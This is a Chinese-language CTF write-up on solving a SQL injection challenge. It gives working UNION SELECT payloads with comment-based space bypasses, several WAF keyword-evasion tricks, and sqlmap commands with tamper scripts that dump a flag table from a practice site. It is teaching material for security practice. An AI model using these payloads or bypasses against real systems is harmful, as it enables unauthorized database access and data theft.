3.简单的sql注入
思路:
检测是否存在注入点的两种常用方法:(更多注入详情:Sqli-labs环境通关教程-学习)
1.基于报错的检测方法
一般这种方法是输入单引号’。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据。那么有可能存在注
入点。
2.基于布尔的检测方法---(这只是最基础的判断)
这种方法是输入:
- 1 and 1=1 ,通常这种情况会正常返回数据
- 1 and 1=2 ,通常这种情况不会返回数据或者直接报错
或者
- 1' and '1'='1 ,通常这种情况会正常返回数据
- 1' and '1'='2 ,通常这种情况不会返回数据或者直接报辑
或者 ---(使用双引号)
如果以上都判断不出,就要考虑盲注了。
分析:
假如后台处理数据的sq语句(后台在输入上加了单引号)是:
select name from user where id=' our_ input '
我们输入1' and '1'='1 , sq语句变为:
select name from user where id='1' and 1'='1'
后台数据库仍然正常读取数据.
我们输入1' and '1'='2 , sq语句变为:
select name from user where id='1' and '1'='2’
这样查询条件为假,数据库不能读取数据。
初步判断为单引号字符型注入,然后输入1 and 1=1 ,可以看到过滤了and并且空格被替换为了+ ,因此我们可以推断,这个题过滤了常用的sq|命令,可以
输入union and select from进行下测试,发现果然全被过滤掉了
补充:当空格被过滤时,通常用()或者/**/代替空格
爆数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
发现数据库较多,尝试直接爆表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
表太多了:
不过也暴露出了,我们想要的数据表。
爆字段,然而……报错了,information_schema.columns被过滤了
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1
所以就猜测字段名也是flag,试一下:(做CTF题,思路要活跃)
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
flag{Y0u_@r3_5O_dAmn_90Od}
其他补充:
我们尝试单引号:
发现单引号没有被过滤,然后尝试逻辑运算,and被过滤了但还好or没有被过滤:
我们知道他过滤了很多关键字:and,select,from,union,where,但我们可以绕过关键字,方法有:关键字中间加/**/隔断,/*!关键字*/,关键字中间加%0b隔断,关键字重写(如:aandnd),大小写混合,双空格等等,尝试后/*!*/可以绕过,还是按套路,先拿flag做表名和字段名试试:
说明存在flag表,那基本就是老套路了,可以继续用这个方法验证,下面我就直接爆flag了:
ps:这里还有一种检验表名是否存在的方式:
注意还可以尝试这个方法
用‘+‘号来代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t
使用Sqlmap:
来自:https://blog.csdn.net/dongyanwen6036/article/details/77825479
基于windows下的sqlmap:
这里我们会用到tamper,是Python写的,sqlmap一般自带,主要的作用是绕过WAF ,空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
这里用的level参数是执行测试的等级(1-5,默认为1) ,sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
继续在web1数据库中查找
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --table
(注意这里命令应该是 --tables 而这里用 --table也能成功,长见识了)
继续找吧
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column
接下来就直接看结果吧
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump